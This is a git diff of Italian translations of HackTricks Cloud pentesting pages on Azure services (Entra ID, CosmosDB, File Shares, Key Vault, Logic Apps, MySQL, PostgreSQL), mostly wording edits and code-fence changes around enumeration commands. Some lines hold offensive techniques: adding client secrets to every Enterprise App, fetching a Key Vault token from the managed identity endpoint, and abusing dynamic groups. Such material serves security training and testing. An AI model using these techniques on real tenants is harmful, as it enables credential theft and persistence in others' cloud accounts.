{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -394,11 +394,11 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### Aggiungi utente al gruppo
I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
```powershell
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni, verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
> Controlla come abusare dei gruppi dinamici nella pagina seguente:
{{#ref}}
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -488,8 +488,8 @@ Headers = @{
<details>
<summary>Elenca e prova ad aggiungere un client secret su ogni App Aziendale</summary>
```powershell
<summary>Elenca e prova ad aggiungere un client secret su ogni Enterprise App</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -595,7 +595,7 @@ Write-Output "Failed to Enumerate the Applications."
### Applicazioni
Per ulteriori informazioni sulle Applicazioni controlla:
Per ulteriori informazioni sulle Applicazioni, controlla:
{{#ref}}
../az-basic-information/
@@ -604,7 +604,7 @@ Per ulteriori informazioni sulle Applicazioni controlla:
Quando un'App viene generata, vengono date 2 tipologie di permessi:
- **Permessi** dati al **Service Principal**
- **Permessi** che l'**app** può avere e utilizzare **per conto dell'utente**.
- **Permessi** che l'**app** può avere e utilizzare per **conto dell'utente**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -801,7 +801,7 @@ az rest --method GET \
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -853,7 +853,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
> Se un dispositivo (VM) è **collegato ad AzureAD**, gli utenti di AzureAD potranno **accedere**.\
> Inoltre, se l'utente connesso è **Proprietario** del dispositivo, sarà **amministratore locale**.
### Unità amministrative
### Unità Amministrative
Per ulteriori informazioni sulle unità amministrative, controlla:
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
@@ -923,7 +923,7 @@ Quando PIM è abilitato, è possibile configurare ciascun ruolo con determinati
- Richiedere giustificazione all'attivazione
- Richiedere informazioni sul ticket all'attivazione
- Richiedere approvazione per attivare
- Tempo massimo per far scadere le assegnazioni idonee&#x20;
- Tempo massimo per far scadere le assegnazioni idonee
- Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni con quel ruolo
### Politiche di Accesso Condizionale <a href="#title-text" id="title-text"></a>
@@ -943,11 +943,11 @@ Consente all'amministratore di configurarlo per **bloccare** i tentativi quando
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Oggigiorno è consigliato aggiungere queste restrizioni tramite politiche di Accesso Condizionale dove è possibile configurare le stesse opzioni.
> Oggi è consigliato aggiungere queste restrizioni tramite politiche di Accesso Condizionale dove è possibile configurare le stesse opzioni.
### Protezione della password Entra
La Protezione della password Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\
La Protezione della password Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\
Consente anche di **vietare un elenco di password personalizzato** che è necessario fornire.
Può essere **applicata sia** a livello cloud che su Active Directory on-premises.

24
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
View File

@@ -1,23 +1,23 @@
# Az - CosmosDB
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
<summary>Support HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Azure CosmosDB
**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta a singola cifra in millisecondi, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione dei dati multi-regione "chiavi in mano", API open-source, SDK per linguaggi popolari e funzionalità di database AI come il supporto vettoriale integrato e l'integrazione senza soluzione di continuità con Azure AI.
**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta a una cifra in millisecondi, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione dei dati multi-regione "chiavi in mano", API open-source, SDK per linguaggi popolari e funzionalità di database AI come il supporto vettoriale integrato e l'integrazione senza soluzione di continuità con Azure AI.
Azure Cosmos DB fornisce più API di database per modellare i dati del mondo reale utilizzando modelli di dati documentali, relazionali, chiave-valore, grafico e a colonne, essendo queste API NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin e Table.
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -173,7 +173,7 @@ print(item)
```
{% endcode %}
Un altro modo per stabilire una connessione è utilizzare il **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor)
Un altro modo per stabilire una connessione è utilizzare **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor)
{% code overflow="wrap" %}
```python
@@ -203,7 +203,7 @@ print("Document inserted.")
{% endcode %}
### MongoDB
L'API NoSQL di MongoDB è un'API basata su documenti che utilizza BSON (Binary JSON) simile a JSON come formato dei dati. Fornisce un linguaggio di query con capacità di aggregazione, rendendola adatta per lavorare con dati strutturati, semi-strutturati e non strutturati. L'endpoint del servizio segue tipicamente questo formato:
L'API NoSQL di MongoDB è un'API basata su documenti che utilizza BSON (Binary JSON) simile a JSON come formato dei dati. Fornisce un linguaggio di query con capacità di aggregazione, rendendolo adatto per lavorare con dati strutturati, semi-strutturati e non strutturati. L'endpoint del servizio segue tipicamente questo formato:
{% code overflow="wrap" %}
```bash
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.
@@ -353,7 +353,7 @@ Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

22
src/pentesting-cloud/azure-security/az-services/az-file-shares.md
View File

@@ -15,17 +15,17 @@
### Backup
- **Backup Giornaliero**: Un punto di backup viene creato ogni giorno a un orario indicato (ad es. 19.30 UTC) e conservato da 1 a 200 giorni.
- **Backup Settimanale**: Un punto di backup viene creato ogni settimana in un giorno e orario indicati (domenica alle 19.30) e conservato da 1 a 200 settimane.
- **Backup Mensile**: Un punto di backup viene creato ogni mese in un giorno e orario indicati (ad es. prima domenica alle 19.30) e conservato da 1 a 120 mesi.
- **Backup Annuale**: Un punto di backup viene creato ogni anno in un giorno e orario indicati (ad es. prima domenica di gennaio alle 19.30) e conservato da 1 a 10 anni.
- **Backup giornaliero**: Un punto di backup viene creato ogni giorno a un orario indicato (ad es. 19.30 UTC) e conservato da 1 a 200 giorni.
- **Backup settimanale**: Un punto di backup viene creato ogni settimana in un giorno e orario indicati (domenica alle 19.30) e conservato da 1 a 200 settimane.
- **Backup mensile**: Un punto di backup viene creato ogni mese in un giorno e orario indicati (ad es. prima domenica alle 19.30) e conservato da 1 a 120 mesi.
- **Backup annuale**: Un punto di backup viene creato ogni anno in un giorno e orario indicati (ad es. prima domenica di gennaio alle 19.30) e conservato da 1 a 10 anni.
- È anche possibile eseguire **backup manuali e snapshot in qualsiasi momento**. I backup e gli snapshot sono in realtà la stessa cosa in questo contesto.
### Autenticazioni Supportate tramite SMB
- **Autenticazione AD DS On-premises**: Utilizza le credenziali di Active Directory on-premises sincronizzate con Microsoft Entra ID per l'accesso basato su identità. Richiede connettività di rete con AD DS on-premises.
- **Autenticazione Microsoft Entra Domain Services**: Sfrutta i Microsoft Entra Domain Services (AD basato su cloud) per fornire accesso utilizzando le credenziali di Microsoft Entra.
- **Microsoft Entra Kerberos per Identità Ibride**: Consente agli utenti di Microsoft Entra di autenticarsi alle condivisioni di file Azure tramite internet utilizzando Kerberos. Supporta VM unite a Microsoft Entra ibride o unite a Microsoft Entra senza richiedere connettività ai controller di dominio on-premises. Ma non supporta identità solo cloud.
- **Microsoft Entra Kerberos per Identità Ibride**: Consente agli utenti di Microsoft Entra di autenticarsi alle condivisioni di file Azure tramite internet utilizzando Kerberos. Supporta VM unite a Microsoft Entra ibride o unite a Microsoft Entra senza richiedere connettività con i controller di dominio on-premises. Ma non supporta identità solo cloud.
- **Autenticazione AD Kerberos per Client Linux**: Consente ai client Linux di utilizzare Kerberos per l'autenticazione SMB tramite AD DS on-premises o Microsoft Entra Domain Services.
## Enumerazione
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -80,7 +80,7 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
{{#endtabs}}
> [!NOTE]
> Per impostazione predefinita, `az` cli utilizzerà una chiave dell'account per firmare una chiave e eseguire l'azione. Per utilizzare i privilegi del principale Entra ID, utilizzare i parametri `--auth-mode login --enable-file-backup-request-intent`.
> Per impostazione predefinita, `az` cli utilizzerà una chiave dell'account per firmare una chiave ed eseguire l'azione. Per utilizzare i privilegi del principale Entra ID, utilizzare i parametri `--auth-mode login --enable-file-backup-request-intent`.
> [!TIP]
> Utilizzare il parametro `--account-key` per indicare la chiave dell'account da utilizzare\
@@ -94,7 +94,7 @@ Questi sono gli script proposti da Azure al momento della scrittura per connette
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot
@@ -131,7 +131,7 @@ open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.ne
{{#endtab}}
{{#endtabs}}
### Enumerazione regolare dello storage (chiavi di accesso, SAS...)
### Enumerazione dello storage regolare (chiavi di accesso, SAS...)
{{#ref}}
az-storage.md
@@ -139,7 +139,7 @@ az-storage.md
## Escalation dei privilegi
Stesso della privesc dello storage:
Stesso metodo dell'escalation dei privilegi dello storage:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
@@ -153,7 +153,7 @@ Stesso della privesc dello storage:
## Persistenza
Stesso della persistenza dello storage:
Stesso metodo della persistenza dello storage:
{{#ref}}
../az-persistence/az-storage-persistence.md

8
src/pentesting-cloud/azure-security/az-services/az-keyvault.md
View File

@@ -4,7 +4,7 @@
## Informazioni di base
**Azure Key Vault** è un servizio cloud fornito da Microsoft Azure per memorizzare e gestire in modo sicuro informazioni sensibili come **segreti, chiavi, certificati e password**. Funziona come un repository centralizzato, offrendo accesso sicuro e controllo dettagliato utilizzando Azure Active Directory (Azure AD). Dal punto di vista della sicurezza, Key Vault fornisce **protezione tramite modulo di sicurezza hardware (HSM)** per le chiavi crittografiche, garantisce che i segreti siano crittografati sia a riposo che in transito e offre una gestione degli accessi robusta tramite **controllo degli accessi basato sui ruoli (RBAC)** e politiche. Presenta anche **registrazione delle audit**, integrazione con Azure Monitor per il tracciamento degli accessi e rotazione automatizzata delle chiavi per ridurre il rischio di esposizione prolungata delle chiavi.
**Azure Key Vault** è un servizio cloud fornito da Microsoft Azure per memorizzare e gestire in modo sicuro informazioni sensibili come **segreti, chiavi, certificati e password**. Funziona come un repository centralizzato, offrendo accesso sicuro e controllo dettagliato utilizzando Azure Active Directory (Azure AD). Dal punto di vista della sicurezza, Key Vault fornisce **protezione tramite modulo di sicurezza hardware (HSM)** per le chiavi crittografiche, garantisce che i segreti siano crittografati sia a riposo che in transito e offre una gestione degli accessi robusta tramite **controllo degli accessi basato sui ruoli (RBAC)** e politiche. Include anche **registrazione delle audit**, integrazione con Azure Monitor per il tracciamento degli accessi e rotazione automatizzata delle chiavi per ridurre il rischio di esposizione prolungata delle chiavi.
Vedi [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) per dettagli completi.
@@ -31,7 +31,7 @@ L'accesso a una risorsa Key Vault è controllato da due piani:
- Il **piano di gestione**, il cui obiettivo è [management.azure.com](http://management.azure.com/).
- Viene utilizzato per gestire il key vault e le **politiche di accesso**. Solo il controllo degli accessi basato sui ruoli di Azure (**RBAC**) è supportato.
- Il **piano dati**, il cui obiettivo è **`<vault-name>.vault.azure.com`**.
- Il **piano dei dati**, il cui obiettivo è **`<vault-name>.vault.azure.com`**.
- Viene utilizzato per gestire e accedere ai **dati** (chiavi, segreti e certificati) **nel key vault**. Questo supporta le **politiche di accesso al vault** o Azure **RBAC**.
Un ruolo come **Contributor** che ha autorizzazioni nel piano di gestione per gestire le politiche di accesso può accedere ai segreti modificando le politiche di accesso.
@@ -54,7 +54,7 @@ Inoltre, è possibile creare un **endpoint privato** per consentire una connessi
### Protezione dalla Cancellazione
Quando viene creato un key vault, il numero minimo di giorni per consentire la cancellazione è 7. Ciò significa che ogni volta che provi a eliminare quel key vault, ci vorranno **almeno 7 giorni per essere eliminato**.
Quando viene creato un key vault, il numero minimo di giorni per consentire la cancellazione è 7. Ciò significa che ogni volta che si tenta di eliminare quel key vault, saranno necessari **almeno 7 giorni per essere eliminato**.
Tuttavia, è possibile creare un vault con **protezione dalla cancellazione disabilitata**, che consente al key vault e agli oggetti di essere eliminati durante il periodo di retention. Anche se, una volta che questa protezione è abilitata per un vault, non può essere disabilitata.
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

10
src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
View File

@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di base
## Informazioni di Base
Azure Logic Apps è un servizio basato su cloud fornito da Microsoft Azure che consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare compiti e eseguire integrazioni di dati tra diverse piattaforme.
Azure Logic Apps è un servizio basato su cloud fornito da Microsoft Azure che consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare attività e eseguire integrazioni di dati tra diverse piattaforme.
Logic Apps fornisce un designer visivo per creare flussi di lavoro con un **ampia gamma di connettori predefiniti**, che facilita la connessione e l'interazione con vari servizi, come Office 365, Dynamics CRM, Salesforce e molti altri. Puoi anche creare connettori personalizzati per le tue esigenze specifiche.
Logic Apps offre un designer visivo per creare flussi di lavoro con un **ampia gamma di connettori predefiniti**, che facilita la connessione e l'interazione con vari servizi, come Office 365, Dynamics CRM, Salesforce e molti altri. Puoi anche creare connettori personalizzati per le tue esigenze specifiche.
### Esempi
- **Automazione dei Data Pipeline**: Logic Apps può automatizzare **i processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
- **Automazione dei Data Pipeline**: Logic Apps può automatizzare **processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
- **Integrazione con Azure Functions**: Logic Apps può lavorare insieme ad Azure Functions per sviluppare **applicazioni sofisticate e basate su eventi che scalano secondo necessità** e si integrano perfettamente con altri servizi Azure. Un esempio di caso d'uso è utilizzare un Logic App per attivare una Azure Function in risposta a determinati eventi, come cambiamenti in un account di Azure Storage, consentendo un'elaborazione dinamica dei dati.
### Visualizza un LogicAPP
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#endtab }}
{{#tab name="Az PowerSHell" }}
```powershell
```bash
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info

10
src/pentesting-cloud/azure-security/az-services/az-mysql.md
View File

@@ -26,13 +26,13 @@ Azure Database for MySQL è un servizio di database relazionale completamente ge
- Fornisce maggiore controllo sulla gestione e configurazione del database.
- Supporta alta disponibilità (nella stessa zona e ridondante tra zone).
- Include scalabilità elastica, gestione delle patch e ottimizzazione dei carichi di lavoro.
- Offre funzionalità di arresto/avvio per risparmiare sui costi.
- Offre funzionalità di arresto/avvio per risparmi sui costi.
### Caratteristiche principali
* **Gestione del server**: La funzionalità **ad-admin** consente di gestire gli amministratori di Azure Active Directory (AAD) per i server MySQL, fornendo controllo sull'accesso amministrativo tramite credenziali AAD, mentre la funzionalità **identity** consente l'assegnazione e la gestione delle Identità Gestite di Azure, offrendo autenticazione sicura e senza credenziali per accedere alle risorse Azure.
* **Gestione del ciclo di vita**: opzioni per avviare o arrestare un server, eliminare un'istanza di server flessibile, riavviare un server per applicare rapidamente le modifiche di configurazione e attendere per garantire che un server soddisfi condizioni specifiche prima di procedere con gli script di automazione.
* **Sicurezza e rete**: può gestire le regole del firewall del server per un accesso sicuro al database e staccare le configurazioni della rete virtuale secondo necessità.
* **Protezione dei dati e backup**: include opzioni per gestire i backup del server flessibile per il recupero dei dati, eseguire un geo-restore per recuperare un server in una regione diversa, esportare i backup del server per uso esterno (in anteprima) e ripristinare un server da un backup a un punto specifico nel tempo.
* **Protezione dei dati e backup**: include opzioni per gestire i backup del server flessibile per il recupero dei dati, eseguire il geo-restore per recuperare un server in una regione diversa, esportare i backup del server per uso esterno (in anteprima) e ripristinare un server da un backup a un punto specifico nel tempo.
### Enumerazione
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group
@@ -138,7 +138,7 @@ mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
Puoi anche eseguire query con github, ma sono necessari anche la password e l'utente. Devi impostare un file sql con la query da eseguire e poi:
Puoi anche eseguire query con github, ma sono necessari anche la password e l'utente. Devi impostare un file sql con la query da eseguire e poi:
{% code overflow="wrap" %}
```bash
# Setup
@@ -188,7 +188,7 @@ Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).p
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

32
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
View File

@@ -1,16 +1,16 @@
# Az - PostgreSQL Databases
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Supporta HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
@@ -26,18 +26,18 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
- Fornisce un maggiore controllo sulla gestione e configurazione del database.
- Supporta alta disponibilità, sia nella stessa zona che tra zone diverse.
- Include scalabilità elastica, manutenzione automatizzata e funzionalità di risparmio sui costi.
- Consente di avviare e fermare il server per ottimizzare i costi.
- Permette di avviare e fermare il server per ottimizzare i costi.
### Key Features
### Caratteristiche principali
* **Custom Maintenance Windows**: Pianifica aggiornamenti per ridurre al minimo le interruzioni.
* **Active Monitoring**: Accedi a metriche e log dettagliati per monitorare e migliorare le prestazioni del database.
* **Stop/Start Server**: Gli utenti possono fermare e avviare il server.
* **Automatic Backups**: Backup giornalieri integrati con periodi di conservazione configurabili fino a 35 giorni.
* **Role-Based Access**: Controlla i permessi degli utenti e l'accesso amministrativo tramite Azure Active Directory.
* **Security and Networking**: può gestire le regole del firewall del server per un accesso sicuro al database e scollegare le configurazioni della rete virtuale secondo necessità.
* **Finestra di Manutenzione Personalizzata**: Pianifica aggiornamenti per ridurre al minimo le interruzioni.
* **Monitoraggio Attivo**: Accedi a metriche e log dettagliati per monitorare e migliorare le prestazioni del database.
* **Ferma/Avvia Server**: Gli utenti possono fermare e avviare il server.
* **Backup Automatici**: Backup giornalieri integrati con periodi di conservazione configurabili fino a 35 giorni.
* **Accesso Basato su Ruolo**: Controlla i permessi degli utenti e l'accesso amministrativo tramite Azure Active Directory.
* **Sicurezza e Rete**: può gestire le regole del firewall del server per un accesso sicuro al database e scollegare le configurazioni della rete virtuale secondo necessità.
### Enumeration
### Enumerazione
{% tabs %}
{% tab title="az cli" %}
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
